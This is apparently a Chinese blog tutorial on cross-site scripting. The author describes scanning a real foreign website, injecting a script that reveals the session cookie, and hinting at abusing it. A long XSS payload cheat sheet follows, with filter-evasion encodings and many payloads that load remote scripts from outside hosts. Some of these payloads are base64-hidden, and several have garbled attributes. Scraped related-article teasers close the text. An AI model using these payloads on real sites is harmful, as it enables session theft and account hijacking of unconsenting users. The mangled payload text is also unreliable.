兽哥出品---->XSS漏洞的原理与剖析

Xss(跨站脚本攻击)

今天 兽哥又给大家带来一份干货,关于xss漏洞问题

 

 

Xss是一种基于html属性的攻击 这是一种比较简单的方法 然而现在存在xss漏洞已经很少了

 

但是..注意 这里我用到了但是   

 

 

  我在挂代理 去国外找网站时  我发现某个渣渣国的很多很多网站存xss漏洞

 

 

  随便掏了一个给大家做一下尝试 讲解原理


嗷嗷叫!!!!

拉出来safe3   输入某网站 跑一下

可以看到  真的是很多啊 还有sql注入漏洞

我随便选中一行把

这个很短 很舒服 我们就选它

我们来进行试验一下

这个网站 大体是这样的:

https://xxxx.com/login?f=

页面肯定正常显示, 我这里只做原理讲解 具体网址 我不方便放在这里 有需要的可以私聊

我提供给你方法

然后呢 咱们在URL后面随便输入ddd 按回车 页面正常显示 然后注意! !!!!!

一定注意

这里有个小技巧

按Ctrl+U 看网页源代码  然后呢 按Ctrl+F  在左下角输入框内搜索ddd字段

我们看一下ddd 这几个字符 出现在哪里

下图是具体页面:

各位,我们可以看到,它目前出现在蓝色的地方这 当然也有其他的地方也有ddd字段 我这里就不作截屏了 拿出来一个作为例子

我们可以看到 这段location.href ‘’ ;代码呢  是很简单的  我们只需要闭合 外加注释掉后面的就可以了  我们这样构造

那么这样一段代码 在源码的原理是什么呢 我们来看一下

location.href ‘’><script>alert(document,cookie)</script> -- ’;

前面黄色的呢 我用 ’> 将她 闭合掉了   后面的 ’; 我将它用 --  注释掉了

然后执行我们的语句 <script>alert(document,cookie)</script>

这样 按enter键 我们看看会得到什么

没错 页面返回来 cookie值

得到cookie值我们能干嘛 你懂得 哈哈

收起邪恶的嘴脸:简单的来说  sql注入 就可以用到  联合cookie 注入方法

好了 今天 就到这里 谢谢各位收看

下面呢 是我整理的 xss语句:

【XSS基本探测pyload】

<script>alert(“xss”)</script>

<script>alert(/xss/)</script>//双引号换成斜杠

<script>alert(‘xss’)</script>//用单引号

<script>alert("xss");</script>//用分号

<script>alert(‘xss‘);</script>

<script>alert(/xss/);</script>

<script>alert("jdq") //自动补全

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号

<script>alert("xss");;;;;;;;;;;;;;;;;    ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分号

<script>alert("xss");;;;;;;;;;;;;;;;;       ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//换行符

<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回车

单引号被过滤

<script>alert(/jdq/)</script>  //用双引号会把引号内的内容单独作为内容 用斜杠,则会连斜杠一起回显

JavaScript伪协议】回旋

<ahref="javascript:alert(/test/)">xss</a>

【javascript伪协议】回旋

<ahref="javascript:alert(/test/)">xss</a>

alert被过滤

<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>

【img标记】

<img src=xonerror=s=createElement(‘script‘);body.appendChild(s);s.src=‘http://t.cn/R5UpyOt‘;>

on事件点击触发

//注意要用单引号 双引号不会触发

on事件点击触发

//注意要用单引号 双引号不会触发

【利用函数加密】

eval 函数配合编码

<script>eval(“js+16进制加密”)</script>

<script>eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")</script>

编码要执行的语句↓

Alert(“xss”)

【unicode加密】

<script>eval("unicode加密")</script>

//js unicode加密 解决alert()被过滤

<script>eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")</script>

格式↓

标记eval(“编码”) 结束标记

【String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式→<script>eval(String.fromCharCode编码内容))</script>

【String.fromCharCod函数】

String.fromCharCode需要配合eval来实现,

构造

<script>eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,13))</script>

eval内容加引号相当于正常js语句来执行

不加引号,则是默认作为eval的其他参数语句来执

固定格式→<script>eval(String.fromCharCode编码内容))</script>

【各标签实战pyload】
——————————————————-xss其他标签下的js用法总结大全––——————————–————————————

<imgsrc=javascript:document.write(‘<scr‘+‘ipt src=\‘http://www.baidu.com/1.txt\‘></scr‘+‘ipt>‘)></img>  //仅支持IE6

<imgsrc=javascript:window.s=document.createElement(‘script‘);window.s.src=‘http://lcx.cc/1.js‘;document.body.appendChild(window.s);></img>  //仅支持IE6

<imgsrc="pdpdp.gif"></img>  //通杀所有浏览器能触发xss

<img src="pdpdp.gif"></img>   //通杀所有浏览器 能触发xss

<img src=xonerror=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

<input autofocus="bbbb" />

<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>

<iframe width="0px"height="0px"src="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></iframe>  ie不支持

<ahref="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3d3dy5wb29qeC5jb20vMS5qcz48L3NjcmlwdD4=">sb</a>

<anchor>、<img>(不执行js)<a>(需点击) <meta>.....

<anchoronload=document.body.appendChild(document.createElement("scr"+"ipt")).src="http://www.baidu.com">

<svgonload=document.body.appendChild(document.CReateElement("scr"+"ipt")).src="http://www.baidu.com">

<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>

<baa id="1" tabindex=0>

(1)普通的XSS JavaScript注入

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)IMG标签XSS使用JavaScript命令

<SCRIPTSRC=http://3w.org/XSS/xss.js></SCRIPT>

(3)IMG标签无分号无引号

<IMG SRC=javascript:alert(‘XSS’)>

(4)IMG标签大小写不敏感

<IMG SRC=JaVaScRiPt:alert(‘XSS’)>

(5)HTML编码(必须有分号)

<IMG SRC=javascript:alert(“XSS”)>

(6)修正缺陷IMG标签

<IMG“”"><SCRIPT>alert(“XSS”)</SCRIPT>”>

(7)formCharCode标签

<IMGSRC=javascript:alert(String.fromCharCode(88,83,83))>

(8)UTF-8的Unicode编码

<IMG SRC=jav..省略..S‘)>

(9)7位的UTF-8的Unicode编码是没有分号的

<IMG SRC=jav..省略..S‘)>

(10)十六进制编码也是没有分号

<IMG SRC=\‘#\‘" /span>

(11)嵌入式标签,将Javascript分开

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

(12)嵌入式编码标签,将Javascript分开

<IMG SRC=\‘#\‘" ascript:alert(‘XSS’);”>

(13)嵌入式换行符

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

(14)嵌入式回车

<IMG SRC=\‘#\‘"ascript:alert(‘XSS’);”>

(15)嵌入式多行注入JavaScript,这是XSS极端的例子

<IMG SRC=\‘#\‘" /span>

(16)解决限制字符(要求同页面)

<script>z=’document.’</script>

<script>z=z+’write(“‘</script>

<script>z=z+’<script’</script>

<script>z=z+’ src=ht’</script>

<script>z=z+’tp://ww’</script>

<script>z=z+’w.shell’</script>

<script>z=z+’.net/1.’</script>

<script>z=z+’js></sc’</script>

<script>z=z+’ript>”)’</script>

<script>eval_r(z)</script>

(17)空字符

perl -e ‘print “<IMGSRC=Java\0script:alert(\”XSS\”)>”;’ > out

(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用

perl -e ‘print“<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out

(19)Spaces和meta前的IMG标签

<IMG SRC=\‘#\‘"
  javascript:alert(‘XSS’);”>

(20)Non-alpha-non-digit XSS

<SCRIPT/XSS SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

(21)Non-alpha-non-digit XSS to 2

<BODYonload!#$%&()*~+-_.,:;[email protected][/|\]^`=alert(“XSS”)>

(22)Non-alpha-non-digit XSS to 3

<SCRIPT/SRC=\‘#\‘"/span>[url=http://3w.org/XSS/xss.js]http://3w.org/XSS/xss.js[/url]”></SCRIPT>

(23)双开括号

<<SCRIPT>alert(“XSS”);//<</SCRIPT>

(24)无结束脚本标记(仅火狐等浏览器)

<SCRIPTSRC=http://3w.org/XSS/xss.js?<B>

(25)无结束脚本标记2

<SCRIPT SRC=//3w.org/XSS/xss.js>

(26)半开的HTML/JavaScriptXSS

<IMG SRC=\‘#\‘" /span>

(27)双开角括号

<iframe src=http://3w.org/XSS.html <

(28)无单引号 双引号 分号

<SCRIPT>a=/XSS/

alert(a.source)</SCRIPT>

(29)换码过滤的JavaScript

\”;alert(‘XSS’);//

(30)结束Title标签

</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>

(31)Input Image

<INPUT SRC=\‘#\‘" /span>

(32)BODY Image

<BODYBACKGROUND=”javascript:alert(‘XSS’)”>

(33)BODY标签

<BODY(‘XSS’)>

(34)IMG Dynsrc

<IMG DYNSRC=\‘#\‘" /span>

(35)IMG Lowsrc

<IMG LOWSRC=\‘#\‘" /span>

(36)BGSOUND

<BGSOUND SRC=\‘#\‘" /span>

(37)STYLE sheet

<LINK REL=”stylesheet”HREF=”javascript:alert(‘XSS’);”>

(38)远程样式表

<LINK REL=”stylesheet”HREF=”[url=http://3w.org/xss.css]http://3w.org/xss.css[/url]”>

(39)List-style-image(列表式)

<STYLE>li {list-style-image:url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS

(40)IMG VBscript

<IMG SRC=\‘#\‘"/STYLE><UL><LI>XSS

(41)META链接url

<META HTTP-EQUIV=”refresh” CONTENT=”0;URL=http://;URL=javascript:alert(‘XSS’);”>

(42)Iframe

<IFRAME SRC=\‘#\‘" /IFRAME>

(43)Frame

<FRAMESET><FRAME SRC=\‘#\‘"/FRAMESET>

(44)Table

<TABLEBACKGROUND=”javascript:alert(‘XSS’)”>

(45)TD

<TABLE><TDBACKGROUND=”javascript:alert(‘XSS’)”>

(46)DIV background-image

<DIV STYLE=”background-image:url(javascript:alert(‘XSS’))”>

(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)

<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>

(48)DIV expression

<DIV STYLE=”width: expression_r(alert(‘XSS’));”>

(49)STYLE属性分拆表达

<IMGSTYLE=”xss:expression_r(alert(‘XSS’))”>

(50)匿名STYLE(组成:开角号和一个字母开头)

<XSSSTYLE=”xss:expression_r(alert(‘XSS’))”>

(51)STYLE background-image

<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><ACLASS=XSS></A>

(52)IMG STYLE方式

exppression(alert(“XSS”))’>

(53)STYLE background

<STYLE><STYLEtype=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>

(54)BASE

<BASEHREF=”javascript:alert(‘XSS’);//”>

(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS

<EMBED SRC=\‘#\‘"/span>[flash]http://3w.org/XSS/xss.swf[/flash]” ></EMBED>

时间: 2024-11-04 16:46:52

兽哥出品---->XSS漏洞的原理与剖析的相关文章

Atitit.&#160;Xss&#160;漏洞的原理and应用xss木马

Atitit. Xss 漏洞的原理and应用xss木马 1. XSS漏洞1 2. XSS的用途2 2.1. 盗取cookie2 2.2. 刷新流量 刷分3 2.3. DOS 窃取隐私”.“假冒身份”.“WEB蠕虫3 2.4. 广告植入 弹窗 .信息收集 .流量转发 甚至是路由劫持3 2.5. 钓鱼攻击,高级的钓鱼技巧.3 2.6. 删除目标文章.恶意篡改数据.嫁祸.3 2.7. 劫持用户Web行为,甚至进一步渗透内网.3 2.8. 爆发Web2.0蠕虫.3 2.9. 蠕虫式的DDoS攻击.3 2

兽哥出品----&gt;sqlmap注入,杀入靶机

Sqlmap 实践----->怼自己的靶机      今天兽哥准备拿出来点干货给大家尝尝,是咸是甜自任君品尝   靶机之前已经文章说过 用phpstudy 链接 dvwa 搭建一个环境   而后呢,我们要使用抓包软件抓一下dvwa的cookie     让我们先来看一下演示:   首先进入dvwa 将难度设置为low(为了演示方便)         接着呢 要使用用抓包 抓出dvwa登录时的cookie     首先配置代理,在这里呢  我设置代理端口为默认:8080 如下图所示        

XSS漏洞攻击原理与解决办法

转自:http://www.frostsky.com/2011/10/xss-hack/ 对于的用户输入中出现XSS漏洞的问题,主要是由于开发人员对XSS了解不足,安全的意识不够造成的.现在让我们来普及一下XSS的一些常识,以后在开发的时候,每当有用户输入的内容时,都要加倍小心.请记住两条原则:过滤输入和转义输出. 一.什么是XSS XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里

兽哥出品---&gt;w3af的搭建以及使用

w3af是一款中轻量级扫描工具,kali下受欢迎程度:???? 这款目前我是在linux下搭建的 链接如下: git clone --depth 1 https://github.com/andresriancho/w3af.git cd w3af ./w3af_gui 这儿有可能出现大量错误,安装依赖包: sudo apt-get install build-essential autoconf libtool pkg-config python-opengl python-imaging p

WordPress &lt; 4.1.2 存储型XSS漏洞

WordPress < 4.1.2 存储型XSS漏洞 0x00 原理 最近几天爆出来的,今天才看.网上的分析也有很多了估计,我也发一篇好了233333因为确实很经典,思路很不错.具体的细节看老外写的,请戳: https://cedricvb.be/post/wordpress-stored-xss-vulnerability-4-1-2 这次主要是Mysql中的UTF-8只支持3个byte,如果需要支持4个byte的编码,则需要使用utf8mb4.不开启strict code(默认为Off)的时

基于dom的xss漏洞原理

原文:http://www.anying.org/thread-36-1-1.html转载必须注明原文地址 最近看到网络上很多人都在说XSS我就借着暗影这个平台发表下自己对这一块的一些认识.其实对于XSS很多人都知道利用但是很多人都忽略了漏洞存在的原因,其实说白了基于dom中的XSS都是一些api代码审计不严所产生的,那么一下我就整理下可能存在基于dom的XSS攻击的api吧.document.locationdocument.URLdocument.URLUnencodeddocument.r

WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案

对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避免后知后觉的犯下大错,专门参考大量前辈们的心得,小小的总结一下,欢迎大家拍砖啊 一.跨站脚本攻击(XSS) 跨站脚本攻击的原理 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击.它指的是恶意攻击者往Web页面里插入恶意脚本代码,而程序对于用户输入内容未过滤,当用户浏览该页之时

深入解析跨站请求伪造漏洞:原理剖析

当存心不良的Web站点导致用户的浏览器在可信的站点上进行非意愿的活动时,我们就说发生了跨站请求伪造(CSRF)攻击.这些攻击被誉为基于Web的漏洞中的“沉睡的巨人”,因为互联网上的许多站点对此毫无防备,同时还因为这类攻击一直为web开发和安全社区所忽视. 一.概述 当存心不良的Web站点导致用户的浏览器在可信的站点上进行非意愿的活动时,我们就说发生了跨站请求伪造(CSRF)攻击.跨站请求伪造攻击亦称跨站引用伪造(XSRF),会话叠置和混淆代理人攻击.我们之所以使用术语CSRF,是因为它是描述这类

XSS漏洞实例利用

上一篇说了一下XSS的原理,相信大家对XSS的原理有了一定的了解.今天给大家分享一下XSS漏洞的实例利用. 环境: window 7 64位一台 火狐浏览器就位 外网云服务器一枚(我自己买的...) 可XSS网站一匹 获取Cookie的JS代码一套 好了,以上就是需要准备的东西,没有的外网云服务器(外网IP)的可以百度一下XSS利用的公开平台,自己研究下怎么用(我的服务器就不公开了,太渣了,只是用来做实验没法公开...) 现在我们开始一步一步的进行XSS漏洞利用 0x00  ....biubiu